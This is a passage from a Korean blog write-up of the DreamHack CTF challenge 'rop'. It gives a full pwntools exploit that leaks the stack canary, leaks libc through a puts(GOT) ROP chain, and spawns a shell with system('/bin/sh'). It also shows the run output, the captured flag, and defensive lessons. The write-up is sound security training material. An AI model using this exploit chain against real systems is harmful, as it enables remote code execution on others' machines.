์‹ค์ œ๋กœ ๋Œ๋ฆฐ solve.py. ์œ„ ์กฐ๋ฆฝ ๊ทธ๋Œ€๋กœ์— checksec ์ถœ๋ ฅ๊ณผ ์ตœ์ข… cat flag๊นŒ์ง€ ํฌํ•จํ•œ ์ „์ฒด๋‹ค.

#!/usr/bin/env python3
from pwn import *
 
context.arch = "amd64"
context.log_level = "info"
 
HOST = "host3.dreamhack.games"
PORT = 17758
 
elf = ELF("./rop")
libc = ELF("./libc.so.6")
 
pop_rdi_ret = 0x400853
ret_gadget = 0x400596
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
 
BUF_TO_CANARY = 0x38  # rbp-0x40 (buf start) .. rbp-0x8 (canary)
 
io = remote(HOST, PORT)
 
# --- round 1 / stage 1: overwrite canary's null LSB, leak the other 7 bytes back ---
io.recvuntil(b"[1] Leak Canary\n")
io.recvuntil(b"Buf: ")
io.send(b"A" * BUF_TO_CANARY + b"A")
io.recvuntil(b"Buf: ")  # this is printf's own "Buf: " prefix
leak = io.recvn(BUF_TO_CANARY + 1 + 7)
canary = b"\x00" + leak[BUF_TO_CANARY + 1:]
log.info(f"canary = {canary.hex()}")
 
# --- round 1 / stage 2: ROP -> puts(GOT[puts]) leaks libc, then loop back into main() ---
io.recvuntil(b"[2] Input ROP payload\n")
io.recvuntil(b"Buf: ")
 
rop1 = flat(pop_rdi_ret, puts_got, puts_plt, main_addr)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop1)
 
leaked = io.recvline(keepends=False)
leaked_puts = u64(leaked.ljust(8, b"\x00"))
libc_base = leaked_puts - libc.symbols["puts"]
log.info(f"leaked puts@libc = {hex(leaked_puts)}  libc base = {hex(libc_base)}")
 
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]
 
# --- round 2: canary is a per-process TLS value set once, so it's unchanged. ---
io.recvuntil(b"[1] Leak Canary\n")
io.recvuntil(b"Buf: ")
io.send(b"hi")
io.recvuntil(b"\n")
 
# stage 2: final ROP -> system("/bin/sh")
io.recvuntil(b"[2] Input ROP payload\n")
io.recvuntil(b"Buf: ")
 
rop2 = flat(ret_gadget, pop_rdi_ret, binsh, system)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop2)
 
io.sendline(b"cat flag")
result = io.recvall(timeout=5)
print(result.decode(errors="replace"))

solve.py ์‹คํ–‰ โ€” canaryยทlibc leak ํ›„ flag ํšŒ์ˆ˜
solve.py ์‹คํ–‰ โ€” canaryยทlibc leak ํ›„ flag ํšŒ์ˆ˜

[*] '/home/jinho/Dev/Hacking_Project/์›Œ๊ฒŒ์ž„/1_Bronze_2/rop/extracted/rop'
    NX:         NX enabled
    Stack:      Canary found
    PIE:        No PIE (0x400000)
[+] Opening connection to host3.dreamhack.games on port 17758: Done
[*] canary = 001cd8cf9e6b2594
[*] leaked puts@libc = 0x7fbea9475ed0  libc base = 0x7fbea93f5000
[+] Receiving all data: Done (69B)
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}

์นด๋‚˜๋ฆฌ leak, libc ๋ฒ ์ด์Šค ๊ณ„์‚ฐ, ๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰ ์ค„์˜ flag๊นŒ์ง€ ํ•œ ์„ธ์…˜ ์•ˆ์—์„œ ๊ทธ๋Œ€๋กœ ์ด์–ด์กŒ๋‹ค.

FLAG: DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}



๐Ÿ“ ๊ฒฐ๋ก 

์ž…๋ ฅ ๊ธฐํšŒ๊ฐ€ ์ œํ•œ๋ผ๋„, ํ”„๋กœ๊ทธ๋žจ ์ž์‹ ์„ ๊ฐ€์ ฏ์ฒ˜๋Ÿผ ์“ฐ๋ฉด ๋‹จ๊ณ„๋ฅผ ๋Š˜๋ฆด ์ˆ˜ ์žˆ๋‹ค.

์ด ๋ฌธ์ œ๊ฐ€ ์žฌ๋ฐŒ๋Š” ์ง€์ ์€ ์ทจ์•ฝ์  ์ž์ฒด(48๋ฐ”์ดํŠธ ๋ฒ„ํผ์— 256๋ฐ”์ดํŠธ ์ฝ๊ธฐ)๋Š” ์•„์ฃผ ๋‹จ์ˆœํ•œ๋ฐ, ๊ทธ๊ฑธ ์‚ด๋ฆฌ๋Š” ๋ฐฉ๋ฒ•์ด "๋ฐ˜ํ™˜ ์ฃผ์†Œ๋กœ ๋˜๋Œ์•„๊ฐˆ ํ•จ์ˆ˜๋ฅผ ์ƒˆ๋กœ ์•ˆ ๋งŒ๋“ค๊ณ  main ์ž์‹ ์„ ์žฌํ™œ์šฉ"์ด๋ผ๋Š” ๋ฐ ์žˆ๋‹ค. ROP๋Š” ์ฝ”๋“œ ์กฐ๊ฐ(๊ฐ€์ ฏ)๋งŒ ์žฌ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ๋ฒ•์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜๊ธฐ ์‰ฝ์ง€๋งŒ, ํ•จ์ˆ˜ ์ „์ฒด โ€” ์‹ฌ์ง€์–ด main โ€” ๋„ ๊ทธ์ € ์Šคํƒ์— ์–น์„ ์ˆ˜ ์žˆ๋Š” ๋ฐ˜ํ™˜ ์ฃผ์†Œ ํ•˜๋‚˜์ผ ๋ฟ์ด๋‹ค.

๋ฐฉ์–ด ๊ด€์ ์—์„œ ์ •๋ฆฌํ•˜๋ฉด:

  • NX๋งŒ์œผ๋กœ๋Š” ๋ถ€์กฑํ•˜๋‹ค. ์…ธ์ฝ”๋“œ ์‹คํ–‰์€ ๋ง‰์•˜์ง€๋งŒ ์ฝ”๋“œ ์˜์—ญ ์ž์ฒด(๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํฌํ•จ)๊ฐ€ ์—ฌ์ „ํžˆ ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— ROP๋กœ ์šฐํšŒ๋œ๋‹ค. Full RELRO + PIE๋ฅผ ํ•จ๊ป˜ ์ผœ์•ผ GOT ๋ฎ์–ด์“ฐ๊ธฐยท์ฃผ์†Œ ํ•˜๋“œ์ฝ”๋”ฉ๊นŒ์ง€ ๋ง‰ํžŒ๋‹ค.
  • ์ •๋ณด ๋…ธ์ถœ์€ ์‚ฌ์†Œํ•ด ๋ณด์—ฌ๋„ ์น˜๋ช…์ ์ด๋‹ค. %s๊ฐ€ ๋„๋ฐ”์ดํŠธ์—์„œ ๋ฉˆ์ถ˜๋‹ค๋Š” ์„ฑ์งˆ ํ•˜๋‚˜๋กœ ์นด๋‚˜๋ฆฌ 7๋ฐ”์ดํŠธ๊ฐ€ ํ†ต์งธ๋กœ ์ƒœ๋‹ค. ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ ํฌ๋งท ๋ฌธ์ž์—ด ์ธ์ž์— ๋„˜๊ธฐ์ง€ ์•Š๋Š” ๊ฒƒ๊ณผ๋Š” ๋ณ„๊ฐœ๋กœ, ์ด๋Ÿฐ "์šฐ์—ฐํ•œ leak ๊ฒฝ๋กœ"๋„ ์ฝ”๋“œ ๋ฆฌ๋ทฐ์—์„œ ๊ฑธ๋Ÿฌ์•ผ ํ•œ๋‹ค.
  • ๋ฒ„ํผ ํฌ๊ธฐ์™€ ์‹ค์ œ read ํฌ๊ธฐ๋ฅผ ๋งž์ถ˜๋‹ค. buf[0x30]์ธ๋ฐ read๋Š” 0x100์„ ๋ฐ›๋Š” ๊ฒƒ๋ถ€ํ„ฐ๊ฐ€ ์ „ํ˜•์ ์ธ ์‹ค์ˆ˜๋‹ค. sizeof(buf)๋ฅผ ๊ทธ๋Œ€๋กœ read์˜ ๊ธธ์ด ์ธ์ž๋กœ ์จ์•ผ ํ•œ๋‹ค.
  • GOT๋ฅผ ํ•จ๋ถ€๋กœ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์—†๊ฒŒ ํ•œ๋‹ค. Full RELRO๋Š” GOT๋ฅผ ์ดˆ๊ธฐํ™” ํ›„ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ๋งŒ๋“ค์–ด, ์ด๋ฒˆ์ฒ˜๋Ÿผ puts(GOT[puts])๋กœ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๋นผ๋‚ด๋Š” leak ์ž์ฒด๋Š” ์—ฌ์ „ํžˆ ๊ฐ€๋Šฅํ•ด๋„ GOT๋ฅผ ๋ฎ์–ด์จ ์‹คํ–‰ ํ๋ฆ„์„ ๊ฐ€๋กœ์ฑ„๋Š” ํ›„์† ๊ณต๊ฒฉ์€ ๋ง‰๋Š”๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] pop rdi ๊ฐ€์ ฏ์ด ์—†์„ ๋•Œ โ€” DreamHack basic_rop_x64 ret2csu ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] pop rdi ๊ฐ€์ ฏ์ด ์—†์„ ๋•Œ โ€” DreamHack basic_rop_x64 ret2csu ํ’€์ด

canary ์—†๋Š” ์Šคํƒ BOF์— NX๋งŒ ์ผœ์ง„ 64๋น„ํŠธ ๋ฐ”์ด๋„ˆ๋ฆฌ. ๋ช…์‹œ์ ์ธ pop rdi;ret ๊ฐ€์ ฏ์ด ์—†์–ด์„œ __libc_csu_init ์˜ ๋ ˆ์ง€์Šคํ„ฐ ์„ธํŒ… ๋ฃจํ‹ด(ret2csu)์œผ๋กœ write(1, &GOT[read], 8)์„ ํ˜ธ์ถœํ•ด libc๋ฅผ leakํ•˜๊ณ , "pop r15" ๋ช…๋ น ํ•œ๊ฐ€์šด๋ฐ ์ˆจ์–ด ์žˆ๋Š” pop rdi;ret๋กœ system("/bin/sh")๊นŒ์ง€ ์ž‡๋Š”๋‹ค.
#dreamhack#ctf#pwn+6
2026-07-02#dreamhack +6
[๐Ÿฅ‰ Bronze 1] ์นด๋‚˜๋ฆฌ ํ˜๋ฆฌ๊ณ  system ์œผ๋กœ ๋˜๋Œ์•„๊ฐ€๊ธฐ โ€” DreamHack Return to Library ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ์นด๋‚˜๋ฆฌ ํ˜๋ฆฌ๊ณ  system ์œผ๋กœ ๋˜๋Œ์•„๊ฐ€๊ธฐ โ€” DreamHack Return to Library ํ’€์ด

NX ๊ฐ€ ์ผœ์ ธ ์Šคํƒ ์…ธ์ฝ”๋“œ๋ฅผ ๋ชป ์“ฐ๋Š” BOF ๋ฌธ์ œ. ์ฒซ read ๋’ค printf("%s") ๊ฐ€ ์นด๋‚˜๋ฆฌ LSB(\x00) ๋งŒ ๋ฎ์œผ๋ฉด ์ƒ์œ„ 7๋ฐ”์ดํŠธ๋ฅผ ํ˜๋ ค์ค€๋‹ค. ๊ทธ๊ฑธ๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ ๋ณต์›ํ•˜๊ณ , ๋‘ ๋ฒˆ์งธ read ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ pop rdi โ†’ "/bin/sh" โ†’ system@plt ๋กœ ์ด์–ด์ง€๋Š” ret2plt ์ฒด์ธ์„ ์˜ฌ๋ ค ์…ธ์„ ๋„์šด๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ฒ˜์Œ์— system ์„ ํ•œ ๋ฒˆ ํ˜ธ์ถœํ•ด ์ค˜์„œ PLT ๊ฐ€ ์ด๋ฏธ ์ฑ„์›Œ์ ธ ์žˆ๋Š” ๊ฒŒ ํฌ์ธํŠธ.
#dreamhack#ctf#pwn+6
2026-06-30#dreamhack +6
[๐Ÿฅ‰ Bronze 2] ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ 2๋‹จ๊ณ„ ret2libc โ€” DreamHack basic_rop_x86 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ 2๋‹จ๊ณ„ ret2libc โ€” DreamHack basic_rop_x86 ํ’€์ด

์บ๋„ˆ๋ฆฌ๋„ PIE๋„ ์—†๋Š” 32๋น„ํŠธ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ read()์˜ ๊ณ ์ „์ ์ธ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ROP๋กœ ๋‘ ๋ฒˆ ๋‚˜๋ˆ  ๊ณต๋žตํ•œ๋‹ค. write@plt๋กœ write() ์ž์ฒด์˜ GOT ์ฃผ์†Œ๋ฅผ ์ƒˆ์„œ libc ๋ฒ ์ด์Šค๋ฅผ ๊ณ„์‚ฐํ•˜๊ณ , main์œผ๋กœ ๋˜๋Œ์•„๊ฐ€ system("/bin/sh")๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.
#dreamhack#ctf#pwn+4
2026-07-04#dreamhack +5